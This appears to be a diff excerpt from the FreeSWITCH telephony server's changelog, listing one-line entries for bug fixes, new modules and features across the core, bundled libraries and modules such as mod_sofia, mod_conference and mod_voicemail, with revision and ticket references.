+	core: group_confirm_cancel_timeout=true to stop timers once a group_confirm is triggered (r:14247)
+	core: Fix record_sample_rate when using stereo (FSCORE-403/r:14283)
+	core: hit the xml registry to look up path information for the say app (r:14310)
+	core: timeout calls stuck in CS_NEW after 1 minute (r:14313)
+	core: use FREESWITCH_OPTS env var to hold a string of desired command line switches (r:14352)
+	core: Handle UPNP from pfsense sending malformed header (FSCORE-405/r:14373)
+	docs: Fix filename references in phrase_en.xml (r:12976)
+	docs: Update phrase_en.xml to include v1.0.8 sound prompts (r:13041)
+	docs: Updates to phrase_es.xml (r:13067)
+	docs: Latest revision of Spanish prompts file (r:13115)
+	docs: switch_core.h doxygen update (r:13181)
+	docs: Add ZRTP phrases to phrase_en.xml (r:13488,13489,13490)
+	docs: Add Stephane Alnet's French translations to phrase_fr.xml (r:13624)
+	docs: Add AGL3.0 for zrtp (r:13848)
+	formats: add mod_portaudio_stream to get audio from any dev (MODFORM-25/r:12178)
+	fs_cli: fix solaris build (r:12160)
+	ivr: make tts-engine and tts-voice valid attributes on the menu xml (r:12278)
+	libapr: fix solaris build (r:13671/FSBUILD-169)
+	libapr-util: add xml/expat stuff back to apr-utils (requires re-bootstrap) (r:13289,13290)
+	libdingaling: hijack gcrypt init call to fix threadsafe race in dingaling and fix buffer overrun in iksemel (r:12575)
+	libdingaling: add ldl_handle_running (r:13085)
+	libdingaling: add a function to check for connected and authorized (r:13100)
+	libdingaling: fix auto-restart on disconnect (r:13134)
+	libesl: add api, bgapi methods (r:12179)
+	libesl: add ruby example (r:12180)
+	libesl: add python example (r:12184)
+	libesl: fix missing Event-Name param (MODEVENT-39/r:12311)
+	libesl: example of using esl to get events for ASR (r:12344)
+	libesl: improved filter handling (r:12488-12489)
+	libesl: fix ESL segfault when bgapi is called twice and BACKGROUD_JOB events are subscribed (ESL-5/r:12525)
+	libesl: fix illegal free when invalid bgapi originate args (ESL-8/r:12623)
+	libesl: add disconnect method; add ivrd (r:12724)
+	libesl: add command line args to single_command.py example (ESL-9/r:12729)
+	libesl: check in ESL::IVR perl mod (r:12760)
+	libesl: fix ruby linking on debian (ESL-7/r:12805)
+	libesl: fix esl coredumps in esl_event_serialize when using sendEvent from PHP (ESL-11/r:12884)
+	libesl: add event name when sending (r:12889)
+	libesl: add ESL::IVR::setVar from intralanman (r:12917)
+	libesl: fix ESL/IVR to include the regex (r:12921)
+	libesl: fix ctrl-D in fs_cli not to exit unless cmd line is empty (ESL-13/r:12952)
+	libesl: fix undef check (r:13012)
+	libesl: kill zombies (r:13013)
+	libesl: don't double encode events when sending them  (r:13078)
+	libesl: adding sendevent example for esl perl (r:13079)
+	libesl: send content len with body in esl sendevent (r:13168)
+	libesl: add arbitrary notify (r:13188)
+	libesl: fix Phantom events when doing several bgapi calls without interleaving them with recvEvent (ESL-12/r:13217)
+	libesl: add Ruby example for ESL (ESL-15/r:13235)
+	libesl: add INFO example for Perl (r:13293)
+	libesl: add socketDescriptor() method to ESL::Connection obj (r:13770)
+	libesl: add prelims for Java ESL (r:13949,13950)
+	libesl: add fs_cli command line editing (FSCORE-389/r:13964)
+	libiksemel: let return 0 be a failure on read in iks to avoid cpu race (r:13123,13124,13133)
+	libnatpmp: add (r:13510)
+	libnspr: fix bsd port packaging (r:13715/FSBUILD-170)
+	libpcre: update to pcre 7.9 (r:13706)
+	libsndfile: add executable permissions to libs/libsndfile/src/create_symbols_file.py (FSBUILD-134/r:12535)
+	libsndfile: update to 1.0.19 (r:13415/LBSNDF-7) 
+	libsofiasip: su.h - define su_family via struct sockaddr (r:12260)
+	libsofiasip: sip_parser.c - fixed sip_transport_d() (r:12261)
+	libsofiasip: Fix compile time out-of-bounds error in su_uniqueid.c (SFSIP-136/r:12914)
+	libsofiasip: make info work out of dialog (r:13087)
+	libsofiasip: silence solaris warning from missing braces (SFSIP-132/r:13369)
+	libsofiasip: subscription-state subexp-params missing (r:13439/SFSIP-148)
+	libsofiasip: fix re-register after 423 w/ Min-Expires (r:13619/SFSIP-143)
+	libsofiasip: use addres, id, and version from user sdp if they exist (r:13621)
+	libsofiasip: handle mid-line comments in resolv.conf patch from Lee Verberne (SFSIP-152/r:13749)
+	libsofiasip: fix CNAME record resolve failure (SFSIP-129/r:13915)
+	libspandsp: update to snapshot 20090308 (r:12514)
+	libspandsp: update to snapshot spandsp-20090421 (r:13086)
+	libspandsp: update to snapshot spandsp-20090427 (r:13177)
+	libspandsp: update to spandsp-0.0.6pre12 (r:13311)
+	libspandsp: use __cdecl calling convention for span_rx_handler_t and span_tx_handler_t type functions (r:13509)
+	libspandsp: update to spandsp snapshot 20090714 (r:14316)
+	libspandsp: add --enable-builtin-tiff configure arg to tell spandsp to use pre-built libtiff in parallel directory (r:14318)
+	libspeex: Add visibility support for suncc on solaris (r:13117,13118)
+	libteletone: update api visibility macros for windows
+	libtiff: add libtiff, v3.8.2
+	libxmlrpc: add select to read socket in abyss so we can timeout (r:13107)
+	libxmlrpc: fix segfault (MODAPP-293/r:13906)
+	mod_cdr_csv: add option to disable creation of multiple files if account code is set (MODEVENT-44/r:13968)
+	mod_cidlookup: add new module, mod_cidlookup (r:12990)
+	mod_cidlookup: switch to using CURL instead of mod_http (r:12992)
+	mod_cidlookup: add config file (r:12994)
+	mod_cidlookup: set initial value for status (r:13029)
+	mod_clue_choo: add new module, mod_clue_choo (r:13068,13069,13070)
+	mod_commands: Add show api [name] and show application [name] (r:12296)
+	mod_commands: fix header_string "key" from being set twice from SWITCH_STANDARD_API(user_data_function) (MODAPP-242/r:12786)
+	mod_commands: add show modules functionality (MODAPP-227/r:12806)
+	mod_commands: add echo api command (echo back exact input) and add expand api command (executes another api command with variable expansion) (r:13101,13102)
+	mod_commands: add "stun" fsapi command (r:13137)
+	mod_commands: mod_commands: if no bind ip specified for stun fsapi command, use the guess ip (r:13140)
+	mod_commands: add show channels like %foo% (no % in the string implies wrapped in %, no spaces allowed in match string (r:13193)
+	mod_commands: Add max-sessions to status (MODAPP-254/r:13373)
+	mod_commands: remove double safe_free's (r:13453,13454,13455)
+	mod_commands: add nat_map API (r:13531)
+	mod_commands: add show distinct_channels (mix of show channels and show calls) (r:13944)
+	mod_commands: allow xml_locate to just take section (r:14317)
+	mod_conference: fix read terminating on single digit when called from a meta-app inside a conference (MODAPP-226/r:12466)
+	mod_conference: recording members should be invisible to commands (MODAPP-233/r:12582)
+	mod_conference: add lock caller_control (r:12787)
+	mod_conference: only first call to a conf requires a profile; fix bgdial (MODAPP-245/r:12809)
+	mod_conference: add conference_enforce_security variable to bypass or require pin or locked flag (r:12863)
+	mod_conference: clean up pin prommpting and make local override stay local (r:12864)
+	mod_conference: keep new conference locked the whole time during transfer (r:12988)
+	mod_conference: allow setting the moh_sound from a variable (r:13042)
+	mod_conference: set perpetual_sound from channel var (r:13048)
+	mod_conference: increase sanity timer for conference auto-record to 120 seconds (r:13104)
+	mod_conference: serialize (r:13116)
+	mod_conference: dist-dtmf flag in conference (r:13191)
+	mod_conference: add transfer action to caller-controls (r:13194)
+	mod_conference: fix dtmf queue issue in dist-dtmf feature (MODAPP-268/r:13206)
+	mod_conference: add execute_application to custom controls (r:13216)
+	mod_conference: disallow spaces in conference names (MODAPP-219/r:13313)
+	mod_console: Fix mod_console (missing FD_ZERO before FD_SET) (r:13126)
+	mod_conference: add conference wait-mod flags and member moderator flag to delay starting a conference until someone with a moderator flag has joined (r:13442)
+	mod_conference: add member-type header to relevant events (r:13471)
+	mod_conference: make endconf count cumulative (r:13526)
+	mod_conference: don't transfer back to the same conference (r:13638)
+	mod_conference: Add Job-UUID to conference bgdial  (MODAPP-304/r:14161)
+	mod_curl: Add mod_curl (API for querying Web resources) and moved mod_http to experimental because of probable leaks (r:14092)
+	mod_curl: Add ability to make a post request from dialplan (MODAPP-307/r:14348)
+	mod_dahdi_codec: delay init of resources until the first time they are actually used to avoid unnecessary waste of resources in hardware codec (r:12962)
+	mod_dahdi_codec: set mod_dahdi_codec dahdi transcoding device sockets to non-blocking to avoid hanging when there is no data and just return 0 bytes frame (MODCODEC-8/r:13257)
+	mod_dahdi_codec: added proper waiting (up to 10ms) for the DAHDI transcoder output frame (r:13262)
+	mod_dahdi_codec: return silence frame in dahdi codec when there is no output from the decoder (r:13265)
+	mod_dahdi_codec: add 30ms G729 codec in mod_dahdi_codec (r:13404)
+	mod_dialplan_xml: add min of day to time rules (r:14378)
+	mod_dingaling: fix crash when unloading/reload mod_dingaling (LBDING-13/r:12612)
+	mod_dingaling: fix no sound if phone picked up after 5th dingaling on Gtalk client (MODENDP-198/r:12641)
+	mod_dingaling: fix core dump when calling Gtalk enabled FS using leg_timeout (MODENDP-199/r:12641)
+	mod_dingaling: dl_login command line Usage and parameter doesn't match (MODENDP-202/r:12680)
+	mod_dingaling: fix unload mod_dingaling core dump (MODENDP-204/r:12680)
+	mod_dingaling: fix small memory (r:13374)
+	mod_dingaling: fix potential core dump (MODENDP-230/r:14296)
+	mod_dptools: prevent system crash when "user" in originate dialstring (FSCORE-313/r:12395)
+	mod_dptools: added sched_heartbeat and enable_heartbeat dialplan apps (r:12491)
+	mod_dptools: fix b & c legs not bridging when attended transfer used (FSCORE-334/r:12649)
+	mod_dptools: Custom events fired from event application bypass filtering mechanism (MODAPP-249/r:12894)
+	mod_dptools: change inline limit from 4 to 128 apps (MODAPP-253/r:12957)
+	mod_dptools: improvements to presence function (r:13164)
+	mod_dptools: add group_recurse_variables and user_recurse_variables to {} vars (default is true, set to false to not pass vars down to user or group channels) (r:13241,13246)
+	mod_dptools: add param dial-timeout to directory (MODAPP-271/r:13247)
+	mod_dptools: add set current_application_response channel variable (MODAPP-273/r:13298)
+	mod_dptools: fix SEGV in strncasecmp call (MODAPP-278/r:13317)
+	mod_dptools: fix leaks (r:13446, 13447, 13448)
+	mod_dptools: add sleep_eat_digits channel variable (r:14102)
+	mod_easyroute: fix leak (r:13449)
+	mod_enum: fix enum_auto_route (MODAPP220/r:12243)
+	mod_erlang_event: Bind to 0.0.0.0 instead of 127.0.0.1 by default; like most erlang nodes do. (r:12249)
+	mod_erlang_event: Reply appropriately to net_adm:ping() (r:13066)
+	mod_erlang_event: snprintf needs a format string too, and write has the warn_unused_result attribute set, so store the return value somewhere (r:13090)
+	mod_erlang_event: fix erlang autoconf macro to deal with edge cases (MODEVENT-45/r:13288)
+	mod_erlang_event: fix FreeSWITCH crashing when sending traffic (FSCORE-379/r:13746)
+	mod_event_socket: disallow unloading mod_event_socket from event socket (r:12326,12334)
+	mod_event_socket: fix api_exec crash on OSX (MODEVENT-40,r:12349)
+	mod_event_socket: move connect command to always work on outbound socket not just the first time (r:12723)
+	mod_event_socket: add nat-map option to mod_event_socket (r:13567)
+	mod_event_socket: sendevent Fire events with correct event-name and subclass (MODEVENT-41/r:14354)
+	mod_fax: can't print base 8 number that has a 9 in it.. use stringified version instead (r:13312)
+	mod_fifo: consumer callback waiting an option in fifo.conf.xml (r:12685)
+	mod_fifo: add fire events on bridge in fifo (r:12791)
+	mod_fifo: fix fifo re-parse crash (FSCORE-343/r:12855)
+	mod_fifo: fix uuid_transfer into mod_conference audio issue (MODAPP-259/r:13030)
+	mod_fifo: add  fifo_orbit_dialplan and fifo_orbit_context vars (MODAPP-189/r:13038)
+	mod_fifo: don't do wrapup when agent is in nowait mode or call has ended (r:13094)
+	mod_fifo: don't call all members on on-hook mode and round robin based on next_avail (MODAPP-272/r:13240,13242)
+	mod_fifo: abandon outbound calls when they are not needed, place queue name in the caller id (r:13240)
+	mod_fifo: add "fifo_destroy_after_use" variable to allow quick destruction of one-time use FIFO queues (MODAPP-287/r:13897)
+	mod_file_string: add new module, allows for playing ! delimited lists of sound files (r:13182)
+	mod_flite: three new voices - rms, awb (male), slt (female) (r:12166)
+	mod_flite: mod_flite_shutdown not called/used (MODASRTTS-15/r:13270)
+	mod_g723_1: add more ptimes (r:14095)
+	mod_iax: make mod_iax async (r:13021)
+	mod_iax: autoflush these channels that use queues (r:13057)
+	mod_lcr: allow channel vars in custom_sql (r:12198)
+	mod_lcr: Add ifdefs around odbc calls in shutdown function (r:13268)
+	mod_lcr: Adjust handling of strip parameters so entire number can be stripped (MODAPP-279/r:13365)
+	mod_lcr: honor effective_caller_id_number for CID override (r:13611)
+	mod_lcr: Add variable expansion in cid regexp processing (MODAPP-309/r:14287)
+	mod_lcr: add "as xml" option (r:14311)
+	mod_limit: Add events and a shutdown function (r:12497)
+	mod_limit: close odbc handle (r:12632)
+	mod_limit: Add more error checking to hash api/app (r:13007)
+	mod_limit: prevent multiple bindings of the same event_hooks to make code simpler in mod_limit (MODAPP-264/r:13113)
+	mod_limit: Move over-limit messages down to INFO (MODAPP-308/r:14275)
+	mod_local_stream: Add show_local_stream [stream name] (MODFORM-27/r:13165)
+	mod_local_stream: fail over to default if desired stream is not found (r:13184,13185,13186)
+	mod_local_stream: refactor resampling in mod_local_stream (r:13222)
+	mod_loopback: mod_lopback: other_loopback _leg_uuid variables are sometimes unset while executing the dialplan (MODENDP-210/r:12905)
+	mod_loopback: destroy codec (r:12936)
+	mod_loopback: fix loopback channels that stay alive (FSCORE-349/r:12944,12953)
+	mod_loopback: flush queued frames on audio sync event (r:13018)
+	mod_loopback: autoflush these channels that use queues (r:13057)
+	mod_loopback: pass flush indications across to the b leg (r:13146)
+	mod_loopback: make mod_loopback render silence to prevent livelock (r:13147)
+	mod_loopback: drop excess frames on loopback channel (r:13156,13157,13158)
+	mod_loopback: add loopback_bowout variable (set to false to skip auto-bowout) (r:13162)
+	mod_loopback: mod_loopback plays noise instead of silence (MODENDP-216/r:13214)
+	mod_lua: windows build changes to support externally built modules. (MODLANG-101/r:12237)
+	mod_lua: fix visibility support (FSCORE-302/r:12239-12240)
+	mod_lua: fix windows build (FSBUILD-149/r:12919)
+	mod_lua: fix memory leak (MODLANG-111/r:13298)
+	mod_lua: fix error checking to be more reasonable (MODLANG-116/r:13993)
+	mod_lua: fix  memory leak in xml binding (MODLAN-113/r:14158)
+	mod_managed: fix recursive file record during file playback issue (r:13551/IRC-00)
+	mod_managed: New mod_managed with multi-appdomain (reloading) and scripting support (r:14364)
+	mod_memcache: add new module, mod_memcache; API for memcached (r:12871)
+	mod_memcache: make -ERR for API call less verbose  (r:12949)
+	mod_memcache: add hook reloadxml event (r:12950)
+	mod_memcache: unbind the reloadxml event handler on shutdown (r:12954)
+	mod_memcache: Fix C99 error, move var declaration out of the "for()" statement (no -std=c99?) (r:12959)
+	mod_memcache: cleanup xml config handling (r:13050,13051)
+	mod_memcache: fix compile failure (MODAPP-292/r:13883)
+	mod_native_file: add fh->pos setting (MODFORM-34/r:14388)
+	mod_nibblebill: mod_nibblebill question: DB Error while updating cash (MODAPP-229/r:12907)
+	mod_nibblebill: Updated mod_nibblebill to work properly w/ postgres fields  (r:13031)
+	mod_nibblebill: Added feature mod_nibblebill to check balance and transfer the caller to an alternate dialplan context & extension if they deplete their funds. (r:13432)
+	mod_nibblebill: cleanup, fix leak (r:13463)
+	mod_nibblebill: fix segfault (MODAPP-286/r:13662)
+	mod_nibblebill: Fixed nibblebill to bill on call start (r:13753)
+	mod_nibblebill: code before declaration (FSBUILD-172/r:13755)
+	mod_opal: Fixed transmission of Q.931 Calling-Party-Number, and DisplayName on H.323 Setup (r:12347)
+	mod_opal: allocate frame from session pool so it will not go out of scope (r:12811)
+	mod_opal: disable visibility support broken in newer gcc (MODENDP-190/r:12923)
+	mod_opal: add dtmf method to mod_opal (r:13002)
+	mod_opal: Applied patch to fix some race conditions on call termination (r:13014)
+	mod_opal: prevent endless loop (r:13034)
+	mod_opal: Fixed ability to send a string as user indications (DTMF) (r:13049)
+	mod_opal: try to flag CNG frames (MODOPAL-6/r:13098)
+	mod_opal: Fixed incorrect include path (r:13239)
+	mod_perl: Libtool build fix for mod_perl: use LIBTOOL_LIB_EXTEN to make libtool-2.2 happy and CXXLINK since we are linking a C++ lib (r:13080)
+	mod_pocketsphinx: Revamp mod_pocketsphinx to use jsgf format (r:12224)
+	mod_pocketsphinx: now you can specify the dictionary to use in the config file (r:13747)
+	mod_pocketsphinx: add language weight (r:13910)
+	mod_portaudio: fix audio issue in portaudio (r:12669)
+	mod_python: fix core dump when using startup script (MODLANG-106/r:12648)
+	mod_python: fix python failing during loading startup modules (MODLANG-105/r:12658)
+	mod_python: fix EventConsumer::pop() can deadlock mod_python (MODLANG-109/r:12849)
+	mod_python: fix seg on unload when scripts are running (MODLANG-107/r:13721)
+	mod_say_en: fix missing "at" in time readback, change from cardinal to ordinal numbers on dates, e.g. "January 20th" vs. "January 20" (MODAPP-263/r:13099)
+	mod_say_en: tweak grammar (MODAPP-310/r:14351)
+	mod_say_es: Add stub phrase_es.xml (r:13019)
+	mod_say_ru: add Russian language say module and config files (r:12966-12971)
+	mod_say_ru: change encoding on phrase_ru.xml from cp1251 to utf8 (r:12974)
+	mod_say_ru: add .wav and small fix (r:13000)
+	mod_say_ru: change char million,thousand to enum (r:13009)
+	mod_say_ru: rename currency (r:13024)
+	mod_say_ru: change dollars and cents to rubles and kopecks (r:13025)
+	mod_say_ru: add ru_ip (r:13026)
+	mod_say_ru: Update phrase_ru.xml to include v1.0.8 sound prompts (r:13044,13045)
+	mod_say_ru: add russian language support and makefile targets (r:14091)
+	mod_say_ru: add mod_say_ru to windows build (r:14246)
+	mod_shell_stream: Initial commit (r:13851)
+	mod_shout: Fix race conditions; fix stutter when first 64k is drained from shoutcast stream (r:13218)
+	mod_shout: bring media back so telecast of a no-media call will work. (MODFORM-28/r:13895)
+	mod_shout: add mp3 improvements in seeking, cleanup (MODFORM-32/r:14223)
+	mod_skel: add more example code and info (r:12459)
+	mod_skypiax: move to trunk (r:12167)
+	mod_skypiax: fix hang on invalid mod_skypiax.conf.xml (MODSKYPIAX-21/r:12320-12322,12343)
+	mod_skypiax: modified configs/startskype.sh to specify which unix user will start the Skype client instance (r:12937)
+	mod_skypiax: fixed assignment before declaration on Windows VC++ (r:12956)
+	mod_skypiax: great startup speedup in Windows (using only one Broadcast sendmessage for each interface hunting) (r:13083)
+	mod_skypiax: when repeatedly you try to connect to non-existing Skype account in a short period, the Skype client send you back the two halves of the message 'ERROR 92 CALL: Unrecognised identity' inverted in a way that breaks the flux of the API messages. Maybe an anti-spam feature? Anyway, let's try to work around it and restore sanity with a 1 second delay (r:13663)
+	mod_skypiax: the Skype client sends us BOTH inband and out_of_band DTMFs, no way to shut the inbands. Let's intercept the out_of_bands ONLY if we are not bridged (eg: IVR, so not to waste CPU in detecting inband), but not propagate the out_of_band DTMFs if we are bridged (inband ones will be propagated) (r:13664)
+	mod_skypiax: now it manages the REMOTEHOLD status, when the remote party puts the call on-hold (r:13667)
+	mod_skypiax: removed FARMING ifdefs (r:13810)
+	mod_skypiax: added XInitThreads() to configs/client.c, now is kind of a reliable tool (r:14125)
+	mod_skypiax: added directory 'alsa', contains customized snd-dummy ALSA driver (r:14335)
+	mod_skypiax: added directory 'kernel', contains .config file for compilation of kernel 2.6.24.7 (64bit) tickless and 100HZ. (r:14336)
+	mod_skypiax: added directory 'configs/multiple-instance-same-skype-username', contains configuration file and script to launch Skype clients with multiple instances of the same skype user (r:14337)
+	mod_skypiax: added configs/windows-service directory, contains batch files needed to start skype instances as service, and then start FreeSWITCH (r:14359)
+	mod_skypiax: patch from Muhammad Shahzad for adding and removing interfaces on the fly (r:14367)
+	mod_skypiax: manage the 'BUSY' call status message (r:14371)
+	mod_skypiax: manage the 'WAITING_REDIAL_COMMAND' call status message (r:14372)
+	mod_sndfile: fix off by one error (MODFORM-29/r:13890)
+	mod_sndfile:  update pos on the file handle on reads (MODFORM-33/r:14377)
+	mod_sofia: allow you to set invite, to and from params independently (r:12287)
+	mod_sofia: allow add params to a contact that isn't a gateway (r:12289)
+	mod_sofia: add sip_route_uri var to set proxy route (r:12408)
+	mod_sofia: add sip_send_to Sofia dial param (MODEND-195/r:12409)
+	mod_sofia: add siptrace on/off to sofia command (r:12410,12412)
+	mod_sofia: add network_ip and network_port to registration ODBC table and registration event (MODENDP-194/r:12414)
+	mod_sofia: add configurable outgoing cid types (r:12427)
+	mod_sofia: send SIP INFO DTMF to the bridged leg in bypass media mode (FSCORE-263)
+	mod_sofia: add extension-in-contact param for rare cases when provider makes you say a certain contact user (r:12511)
+	mod_sofia: add contact-host param to gateways (r:12531)
+	mod_sofia: add sip_from_display var and fix backwards switch_strisr calls (r:12566)
+	mod_sofia: remove Redundant NTATAG_DEFAULT_PROXY (MODENDP-197/r:12583)
+	mod_sofia: reset rtp timer on unhold operation (r:12617)
+	mod_sofia: fix G.722 call with broken ptime triggers crash after transfer between contexts (FSCORE-337/r:12647)
+	mod_sofia: fix presence subscription not automatically refreshed due to wrong Contact in 202 (refer accepted) response. (MODENDP-201/r:12657)
+	mod_sofia: fix random segfaults (FSCORE-322/r:12676)
+	mod_sofia: fix registration issue (r:/12715)
+	mod_sofia: add username and realm to sip db (r:12785)
+	mod_sofia: fix subscriptions  being checked even though it belongs to other host (MODAPP-207/r:12792)
+	mod_sofia: reduce exponential mwi notifies (r:12801)
+	mod_sofia: don't auto-disable, just warn on RFC2833 in transcoded call (r:12815)
+	mod_sofia: add 603 for now (r:12883)
+	mod_sofia: make nat options ping configurable and leave it off by default (r:12897)
+	mod_sofia: continue_on_fail broken on SVN12881 (MODENDP-209/r:12902)
+	mod_sofia: add rtp-autofix-timing (defauts to true even when not present) set to false to disable it (FSCORE-281/r:12903,12904)
+	mod_sofia: add set r_sdp_codec_string to list of codecs offered in inbound call dsp (MODENDP-206/r:12946)
+	mod_sofia: add sip_call_info variable (SFSIP-138/r:12977)
+	mod_sofia: move rtp stats up to where they will be more useful (r:13017)
+	mod_sofia: fix FreeSWITCH/SIPX transfer issue (SFSIP-86/r:13032)
+	mod_sofia: ndlb_sendrecv_in_session var NDLB-sendrecv-in-session profile option to reverse the effects of MODENDP-148 (r:13084)
+	mod_sofia: add sip info to event_socket gateway (r:13088)
+	mod_sofia: switch_add_event_header needs a format specifier, or >=gcc-4.3 will be very unhappy (r:13089)
+	mod_sofia: add calls count and failed calls count to sofia profile sorted by direction (r:13103)
+	mod_sofia: only pass 2833 while bridged and while bridged to another channel that uses our RTP stack (r:13131)
+	mod_sofia: send-message-query-on-register profile param, set it to false to disable default of true (r:13139)
+	mod_sofia: fix segfault in sofia xmlstatus profile command (MODENDP-214/r:13141)
+	mod_sofia: add contact lookup (r:13169)
+	mod_sofia: parse out alert-info and call-info from infos (r:13173)
+	mod_sofia: add arbitrary notify (r:13187,13189)
+	mod_sofia: add experimental NDLB-connectile-dysfunction-2.0 (r:13197~13203)
+	mod_sofia: allow register-transport (MODENDP-217/r:13226)
+	mod_sofia: fix mem corruption on failed register (r:13229,13230)
+	mod_sofia: Ignore ptime when missing instead of using @0i (MODENDP-206/r:13231)
+	mod_sofia: fix evil send myself a refer bug (FSCORE-350/r:13237)
+	mod_sofia: Add sofia profile params to fine-tune timers (r:13245)
+	mod_sofia: Fix incoming anonymous from MetaSwitch will not bridge (SFSIP-144/r:13266)
+	mod_sofia: Fix command "sofia xmlstatus profile internal reg" returns invalid xml text (SFSIP-145/r:13267)
+	mod_sofia: Allow retrieval of redirect contact uri parameters via channel variable (MODSOFIA-7/r:13271)
+	mod_sofia: Fix Polycom SRTP (r:13295)
+	mod_sofia: preserve the transport on SLA interactions, still needs work for TLS but should work for UDP and TCP (r:13303)
+	mod_sofia: now pickup, barge-in and various other things will work with SLA is turned on (r:13306)
+	mod_sofia: Add ability to supply call-id when using SEND_INFO (MODENDP-219/r:13357)
+	mod_sofia: Allow sending the flush/reboot all the registration of a domain (MODENDP-187/r:13363)
+	mod_sofia: Fix double re-register problem (SFSIP-143/r:13384)
+	mod_sofia: make autoflush on bridge the default (r:13389)
+	mod_sofia: add contact-user profile param to override default contact username for a profile (MODSOFIA-8/r:13397)
+	mod_sofia: add proxy-follow-redirect flag (experimental) (r:13402)
+	mod_sofia: add proxy-follow-redirect flag (experimental) (r:13403)
+	mod_sofia: Update CID on Polycom when doing an Attended transfer, Make send_display work with Polycom and others, add patch with mods from SFSIP-111 (r:13492/SFSIP-111)
+	mod_sofia: handle vegastream broken sip info packets (r:13506)
+	mod_sofia: Rewrite sofia_glue_get_user_host (r:13543)
+	mod_sofia: Fix NOTIFY message sending incorrect information (MODENDP-225/r:13719)
+	mod_sofia: add sofia tracelevel <level> and tracelevel param in <settings> (r:13735)
+	mod_sofia: Fix wrong contact header in SIP on incoming calls and NAT (SFSIP-151/r:13736)
+	mod_sofia: increase compat on NDLB-to-in-200-contact to handle NAT (r:13759)
+	mod_sofia: fix segfault (FSCORE-382/r:13774)
+	mod_sofia: Fix multicast replication of sofia registrations (r:13786)
+	mod_sofia: don't put params in chan names on sofia urls (r:13841)
+	mod_sofia: Fix mod_sofia is not looking fs_path for correct url if endpoint is behind NAT or proxy (MODENDP-221/r:13865)
+	mod_sofia: Move sip-allow-multiple-registrations and similar variables from variables to params (MODENDP-222/r:13875)
+	mod_sofia: fix segfault on refer with no content-type or body (SFSIP-153/r:13889)
+	mod_sofia: fix segfault on reinvite on nomedia call when using uuid_media (r:13894)
+	mod_sofia: use the register proxy for the R-URI on register when register-proxy is set (MODSOFIA-12/r:13911)
+	mod_sofia: Dereferencing a null pointer causes segfault: sofia_handle_sip_r_invite doesn't check profile->extsipip before use (FSCORE-386/r:13937)
+	mod_sofia: preserve transport on route (SFSIP-157/r:13948)
+	mod_sofia: do not set route_uri unless there is actually one to go to (r:13952)
+	mod_sofia: P-Asserted-Identity and P-Preferred-Identity headers now available as channel vars (BOUNTY-7 and MODENDP-146/r:13977)
+	mod_sofia: this one was my fault, it shouldn't set them as sip_h just in case.  Moved it to set the full header into sip_HEADERNAME so you can use it as you see fit or re-export it to a sip_h on the b-leg if needed unchanged. (r:14081)
+	mod_sofia: manually handle bye to delay the 200 OK till after the call is torn down (reversible with a define) (r:14121)
+	mod_sofia: Have I said how dumb sip is sometimes? (r:14142)
+	mod_sofia: fix SFSIP-163, don't blindly copy the extrtpip when ip is defined. (r:14209)
+	mod_sofia: add sip_auto_answer_detected var set when we get intercom request on inbound invite. (r:14220)
+	mod_sofia: Gateway Config option caller-id-in-from disables/ignores option from-domain (MODSOFIA-16/r:14244)
+	mod_sofia: Fix OPTIONS ping sends OPTIONS of many gateways to one gateway (SFSIP-162/r:14249,14250)
+	mod_sofia: Fix problem w/OCS after svn14200 with transport=tcp (MODSOFIA-17/r:14251)
+	mod_sofia: Send outbound INVITES to outbound proxy (SFSIP-165/r:14263)
+	mod_sofia: do not auto-set from-domain value (r:14304)
+	mod_sofia: fix MODSOFIA-18 (r:14319)
+	mod_sofia: add some err checking to sqlite case for nonce checking (r:14322)
+	mod_sofia: Also support 300 redirections (r:14329)
+	mod_sofia: Mitel interop (MODSOFIA-15/r:14332)
+	mod_sofia: Fix issue of gateway parameters register-proxy and outbound-proxy being interchanged (SFSIP-167/r:14344)
+	mod_sofia: Fix Multiple ODBC table creation issues (SFSIP-168/r:14346)
+	mod_sofia: Optionally rewrite fs_path element of sip contact string on multicasted registrations (MODENDP-231/r:14353)
+	mod_spidermonkey: fix segfaults on dtmf callback (FSCORE-327/r:12577)
+	mod_spidermonkey: fix error loading mod_spidermonkey due to missing PR_* symbols (r:12934,12939)
+	mod_spidermonkey: add destroy method to js (r:13016)
+	mod_spidermonkey: Let session.destroy() take the cause as a string too (r:13020)
+	mod_spidermonkey: add error checking on switch_core_db_column_text (r:14323)
+	mod_spy: add new module, mod_spy (MODAPP-260/r:13035,13036)
+	mod_syslog: Keep the indent string in memory (LOGGER-1/r:12852)
+	mod_t38gateway: Introduction of the skeleton of a media bug implementing a T.38 gateway, so the
+	related infrastructure work can take place around it (r:13082)
+	mod_voicemail: remove endless loop on leaving message (MODAPP-233/r:12315-12316)
+	mod_voicemail: add indexes to mod_voicemail (r:12341)
+	mod_voicemail: fix audio cutoffs in voicemail_leave_main (MODAPP-225/r:12367)
+	mod_voicemail: fix profile id mismatch when changing password via menu (MODAPP-236/r:12602)
+	mod_voicemail: fix incorrect (NULL) recipient stored for VM on dynamic binding of FS directory. (MODAPP-240/r:12850)
+	mod_voicemail: fix segfault on vm_boxcount when box has "sip:" prefix (MODAPP-250/r:12915)
+	mod_voicemail: add parameter "login-keys" to allow user to customize which key is used to log in (MODAPP-251/r:12916)
+	mod_voicemail: change len to seconds (r:13127)
+	mod_voicemail: message-query-exact-match global param in settings section of voicemail to assume profile names match domain names (r:13138)
+	mod_voicemail: allow unload and reload of mod_voicemail (MODAPP-177/r:13145)
+	mod_voicemail: expand the right variable (r:13272)
+	mod_voicemail: rework vm_boxcount api and add an optional profile parameter (r:13283)
+	mod_voicemail: add voicemail disk quota (MODAPP-173/r:13314)
+	mod_voicemail: abolish mailbox attribute in users and use number-alias attribute instead (MODAPP-218/r:13377,13378,13379,13380,13381)
+	mod_voicemail: Implement new config parser (r:13878,13879)
+	mod_voicemail: Implement reload in non-blocking way (r:13884)
+	mod_voicemail: fix playback control keys being non-functional (MODAPP-302/r:14090)
+	mod_voicemail: Fix seg fault and do some cleanup (r:14107)
+	mod_voicemail: Flush DTMF Before Tone (MODAPP-312/r:14380)
+	mod_voicemail: add option to move to next and previous message(MODAPP-313/r:14386) 
+	mod_voicemail: allow Voicemail FF REW key to have configurable millisec interval AND allow REW to limit at the begining of the recording. (MODAPP-311/r:14389)
+	mod_voicemail: allow to skip the info section of a message by pressing a key (MODAPP-314/r:14392) 
+	mod_unimrcp: add to trunk (r:13788,13789,13790,13791)
+	mod_unimrcp: make mod_unimrcp compile with gcc 4.3 (MODUNIMRCP-1/r:13833)
+	mod_unimrcp: mrcp_profile for unimrcpserver 0.6.0 (MODASRTTS-18/r:13835)
